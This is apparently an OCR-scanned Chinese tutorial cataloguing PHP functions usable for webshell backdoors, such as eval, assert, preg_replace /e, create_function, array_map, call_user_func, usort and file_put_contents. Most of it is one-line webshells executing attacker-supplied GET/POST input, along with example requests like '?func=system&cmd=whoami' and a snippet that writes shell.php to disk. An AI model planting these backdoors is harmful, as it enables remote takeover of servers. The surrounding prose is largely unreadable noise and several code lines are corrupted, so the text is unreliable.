IRETZARE | BFIRIRAZASEL , REEHELNE | AT LBUTRIBRREL , ERAEHITRR.
HUADEEIREL

u0 : eval, preg_replace+/e, assert, call_user_func, call_user_func_array. create_functionZR%g
mEES  FUTHIE , B Awebshell, =HIIRSSSS
HAERB—

<?php
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>

RBHI—

<?php
//?cmd=${phpinfo()}
$str=$_GET['cmd'];
eval('$str="".%str."'";");
7>

php AUEBRTLUX NS | S H#EAIT
(S EANTE=

<?php

//?cmd=%27) ;phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>

KRBT : preg_replaceikiE]

<?php

preg_replace("/<php>(.*?)<\/php>/e", '"\1', "<php>phpinfo()</php>");
//FENTF

preg_replace("/<php>(.*?)<\/php>/e", "${1}', "<php>phpinfo()</php>");
7>

PHPHRETLIFUTARBRIRE , EFATRE—GIEARS , JReSEBHRITRE | XEXBHITRER—LIT4.
ERABRITRE , &



eval(), assert(). preg_replace(). create_function()

array_map(). call_user_func(). call_user_func_array() , array_filter , usort , uasort()
SHHBRIEEREL. TESERER (($a($b) )

1. eval()

eval() EREUEFFTERIZER PHP ESRITE , NENN—IIERIERF :
<?php eval($_POST[cmd])?>

2. assert()
SevalZ¥ll , R assert() 2l PHP {CRBsRIAT , W0 -
HIES -
<?php
//?cmd=phpinfo()

assert($_REQUEST[cmd]);
?>

3. preg_replace()

mixed preg_replace ( mixed $pattern, mixed $replacement, mixed $subject [, int $limit = -1 [, int &$count
1)

HZEsubjectthLficpatternfiy&Bsy , Llreplacementif{7&E4#2,

preg_replaceRERAZHUT—NMNENFRAXAHERME R , (BEEAFEGIRAY/ /&R , F preg_replace()
%% replacement 2484/E PHP /K13

HUES

<?php

//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'], "abcd");
?>

4, create_function()

create_functionEEFKREIEERRE , MMRKBTEXNSEUEEHITIIR | WEE TSR FIFHEE

#Screate_function)HTE=ZAS.

(¢ AN

<?php

//?cmd=phpinfo();

$func =create_function('',$_REQUEST['cmd']);
$funcQ;

?>

5. array_map()



array_map() REIS AP BEX R FREEETREMEL | FHREIRFBENX R RGBS AT ERIE
H, ERREEEZINSHEBNIZME®RS array_map() RERIEALE—.

B

<?php

//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];

$array[0]=$cmd;
$new_array=array_map($func, $array);
//print_r($new_array);

7>

6, call_user_func()/call_user_func_array ()
call_user_func — {BE— " SEUEARIEREBAR RS HERERERIS .
call_user_func_array — JAREIEREL , FHE—MUESEFARIBARENESE

<?php

//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php

//?cmd=phpinfo()

$cmd=$_GET['cmd'];

$array[0]=%$cmd;
call_user_func_array("assert",$array);
7>

7. arrayfilter()
array array_filter (array $array [, callable $callback [, int $flag=01])

ORI array FERFPRIGMEZEE callback FRiEL. R callback REURE] true , N array FBERIZHEHESH
BETEREINEREAD., FEIBRREBAE.

<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$arrayl=array($cmd) ;

$func =$_GET['func'];
array_filter($arrayl, $func);
?>

8. usort(). uasort()

usort() BT AR BE XA tURREIEBHITHER .

uasort() EFEAF BE XAt EI B HAHEH TR FHRIFERS IKEX .
DM



phpIRtE>=5. 674 8E

<?php usort(...$_GET);?>

AR :

test.php?1[]=1-1&1[]=eval ($_POST['x'])&2=assert
[POST] : x=phpinfo();

phpIfiE>=<5 . 64 HE

<?php usort($_GET,'asse'.'rt');?>
AR :
test.php?1=1+1&2=eval($_POST[x])
[POST] :x=phpinfo();

9. XIHRERL
file_put_contents() BREHIE— N FRFBEEANUFF,

fputs() REB N4
ARSI
<?php

$test="<?php eval($_PoST[cmd]);?>";
file_put_contents('testl.php',$test);

?>

<?php

fputs(fopen('shell.php','w"), '<?php eval($_POST[cmd])?>");
?>

10, =SHE
PHPREEIERFRrEEHHE
(e ERN/R
<?php
//?a=assert&b=phpinfo()

$_GET['a'1($_GET['b'1);

?>

MNERRSEMEHNNARRS L, WESMAAREHARRS 4T T3 , BRI,






